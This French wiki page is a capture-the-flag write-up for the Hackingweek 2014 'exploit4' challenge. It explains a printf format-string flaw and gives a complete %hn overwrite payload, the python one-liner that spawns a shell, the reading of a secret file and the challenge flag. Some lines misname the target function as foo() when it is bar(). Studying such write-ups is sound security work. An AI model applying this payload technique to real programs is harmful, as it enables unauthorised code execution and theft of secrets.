Outils d'utilisateurs

Outils du Site


hackingweek_2014:exploit:exploit4

Ceci est une ancienne révision du document !


Ici, l'épreuve est simple. Une fois de plus, un binaire nous est donné avec son code C associé.

Source :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int target;
void bar() {
	system("/bin/sh <>/dev/tty");
	_exit(EXIT_SUCCESS);
}
void foo() {
	char buffer[512];
	fgets(buffer, sizeof(buffer), stdin);
	printf(buffer);
	exit(EXIT_SUCCESS);
}
int main() {
	foo();
	return EXIT_SUCCESS;
}

On s'aperçoit alors très vite qu'un Format String est présent.
En effet, la fonction printf est utilisée sans formateur. On peut donc s'en servir pour obtenir les informations que nous voulons.
Étant donné que c'est un cas d'école, je vous laisse le soin d'aller vous renseigner vous-même sur le format string si vous ne connaissez pas (par ex. en lisant ce tuto : http://wiki.zenk-security.com/doku.php?id=failles_app:format_string).

Ici, je vous propose d'exploiter le pointeur qui mène vers .fini (on pourrait sans doute exploiter celui qui mène vers la fonction exit aussi, je n'ai pas trop regardé) et de le remplacer par l'adresse de la fonction bar().

Pour cela, nous allons d'abord faire afficher l'adresse des sections grâce à readelf :

$ readelf -S vulnerable
...
[13] .text             PROGBITS        080483e0 0003e0 0001e2 00  AX  0   0 16   
[14] .fini             PROGBITS        080485c4 0005c4 000014 00  AX  0   0  4
[15] .rodata           PROGBITS        080485d8 0005d8 00001b 00   A  0   0  4
...

L'adresse de notre .fini est donc 0x080485c4. Il nous faut maintenant trouver l'adresse du pointeur à réécrire. Nous allons donc simplement désassembler les sections grâce à objdump :

$ objdump -s vulnerable
...
8049724 01000000 01000000 0c000000 34830408  ............4...  
8049734 0d000000 c4850408 19000000 18970408  ................  <--- on retrouve bien notre adresse à 8049738
8049744 1b000000 04000000 1a000000 1c970408  ................  
8049754 1c000000 04000000 f5feff6f 8c810408  ...........o.... 
...

On retrouver bien notre adresse (en little-endian) à 0x08049738. C'est donc ce pointeur qu'il va falloir que l'on réécrive avec l'adresse de notre fonction foo().

Pour retrouver cette adresse, on pense au départ à un simple objdump. Seulement, on s'aperçoit rapidement que le code est dans la section .text. Nous allons donc utiliser grep pour repérer rapidement notre fonction et nous éviter de chercher dans toute la section notre fonction. Pour cela, nous savons qu'un appel à “system()” est fait. Nous allons donc utiliser grep sur ce mot et faire afficher les 4 lignes avant et après cette valeur pour retrouver notre fonction :

$ objdump -D -M intel vulnerable | grep -B 4 -A 4 system
 8048390:	ff 25 24 98 04 08    	jmp    DWORD PTR ds:0x8049824
 8048396:	68 10 00 00 00       	push   0x10
 804839b:	e9 c0 ff ff ff       	jmp    8048360 <printf@plt-0x10>

080483a0 <system@plt>:
 80483a0:	ff 25 28 98 04 08    	jmp    DWORD PTR ds:0x8049828
 80483a6:	68 18 00 00 00       	push   0x18
 80483ab:	e9 b0 ff ff ff       	jmp    8048360 <printf@plt-0x10>

--
 80484dd:	55                   	push   ebp                           <-- début de foo
 80484de:	89 e5                	mov    ebp,esp
 80484e0:	83 ec 18             	sub    esp,0x18
 80484e3:	c7 04 24 e0 85 04 08 	mov    DWORD PTR [esp],0x80485e0
 80484ea:	e8 b1 fe ff ff       	call   80483a0 <system@plt>
 80484ef:	c7 04 24 00 00 00 00 	mov    DWORD PTR [esp],0x0
 80484f6:	e8 85 fe ff ff       	call   8048380 <_exit@plt>           <-- fin de foo
 80484fb:	55                   	push   ebp
 80484fc:	89 e5                	mov    ebp,esp

L'adresse à donner est donc 0x080484dd.

Nous allons maintenant utiliser la formule donnée dans Gray Hat Python pour construire notre payload (cf. tableau page 232).

On découpe donc notre adresse en deux parties : 0804 qui constituera la partie “high-order bytes” (HOB) et 84dd la partie “low-order bytes” (LOB). HOB < LOB, nous allons donc suivre la formule de gauche du tableau qui dit la chose suivante : [addr + 2][addr]%[HOB - 8]x%[offset]$hn%[LOB - HOB]x%[offset + 1]$hn (où addr = l'adresse que nous voulons réécrire (à mettre en little-endian) et offset le nombre de pointeurs à passer avant de réécrire notre adresse).

$ ./vulnerable AAAA_%x_%x_%x_%x
AAAA_%x_%x_%x_%x   
AAAA_200_f7714ac0_0_41414141

L'offset sera donc de 4. On obtient donc la payload suivante : “\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn”. Nous n'avons plus qu'à lancer notre exploit :

$ python -c 'print ":\x97\x04\x088\x97\x04\x08%2044x%4$hn%31961x%5$hn"' | ./vulnerable
sh-4.2$ cat /home/exploit-4/.secret
paevoo5Ool 

Le flag est donc paevoo5Ool

hackingweek_2014/exploit/exploit4.1393836443.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)